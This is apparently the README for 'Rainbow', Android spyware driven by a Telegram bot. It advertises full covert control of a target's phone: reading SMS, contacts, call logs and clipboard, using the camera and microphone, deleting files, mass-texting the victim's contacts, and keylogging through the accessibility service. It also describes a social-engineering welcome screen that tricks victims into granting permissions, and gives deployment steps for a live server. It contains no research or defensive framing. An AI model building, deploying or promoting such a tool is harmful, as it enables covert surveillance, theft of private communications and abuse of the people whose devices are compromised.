Rainbow is a spyware based on Telegram bot for full access to Android devices.
By using this tool, you can have full access to the target device and control all the actions of the device.
Server side:
The server implemented for this tool is built with the nodejs framework.
- Client management with socket IO
- Telegram bot management with telegram API
Client side:
The client side of this tool is an application that must be installed on the target device.
Client side of this tool is made with the Kotlin language and Jetpack Compose framework.
This application consists of 5 main parts:
- Accessibility service
- Socket IO message handler
- Https file uploader
- Social engineering technique in welcome page to grant permissions by the user
- Responsive web view
Initial accesses to the target device:
- Access to contacts
- Access to incoming and outgoing SMS
- Access to notifications
- Access to call history
- Access to the list of installed applications
- Access to clipboard
- Display a short text message on the target device
- Vibrate target device with custom timing
Advanced access:
- Access to the main camera and selfie camera
- Get a screenshot from the target device
- Send SMS with the target device
- Send SMS to all contacts saved on the target device
- Playing sound on the target device by sending voice in Telegram bot
- Record target device microphone with custom timing
- Access to all gallery images
- Display custom notification on target device
Advanced file explorer:
This tool gives you easy access to all the files of the target device, which can be easily managed through the buttons in the Telegram bot.
- Access to all files
- Delete files
Advanced Keylogger:
This tool reports to you all the actions performed on the target device such as:
- Texts typed in the device
- Notifications with details
- Opened applications
- Clicked buttons
- All the texts on the screen
Setup server side
modify data.json file that exist in server files and replace your own bot token and numric telegram ID
run nodejs server files on live host (like render.com)
Setup client side
copy your web service URL and modify connection.json that exist in assets folder and place your own URL(remember to put / at the end of the URL)
if you cant build app using source code just download apk file and modify it with apk editor